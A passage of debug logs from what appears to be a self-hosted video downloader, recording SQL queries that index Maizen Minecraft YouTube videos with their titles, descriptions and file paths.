2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 18:04:57.424 [debug] QUERY OK source="sources" db=0.5ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.425 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 18:04:57.426 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "5deba3d0-f447-4e6d-bce7-bc30d5a05d0a", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 18:04:57.427 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.428 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 18:04:57.429 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "d87ecc4c-adec-4163-8207-7e3d5eb1a793", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 18:04:57.430 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.431 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 18:04:57.432 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "9b14b00b-8ced-4ee3-944c-8f90d615b691", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 18:04:57.433 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.434 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 18:04:57.436 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "c6cacca1-efb3-4f73-812a-944083684ad2", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 18:04:57.436 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.438 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 18:04:57.450 [debug] QUERY OK source="media_items" db=11.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "85e46890-050a-4ca3-8fa3-77322f6355ab", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 18:04:57.450 [debug] QUERY OK source="sources" db=0.3ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.452 [debug] QUERY OK source="media_items" db=1.3ms idle=15.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 18:04:57.454 [debug] QUERY OK source="media_items" db=1.8ms idle=16.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "090d5a6f-6422-4595-b46f-64574d769de1", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 18:04:57.455 [debug] QUERY OK source="sources" db=0.3ms idle=16.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.456 [debug] QUERY OK source="media_items" db=1.3ms idle=5.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 18:04:57.457 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "7551855a-50f7-4e45-9622-d91151f3d6b1", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 18:04:57.458 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.460 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 18:04:57.461 [debug] QUERY OK source="media_items" db=0.6ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "6eaca110-4a4c-4ebe-9ea9-0beb67055255", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 18:04:57.461 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.463 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 18:04:57.464 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "e42cdf3c-c4b1-41b1-8978-70f83273e6c9", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 18:04:57.464 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], 2] 18:04:57.466 [debug] QUERY OK source="media_items" db=1.5ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:04:57.469 [debug] QUERY OK source="media_items" db=2.3ms idle=5.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN 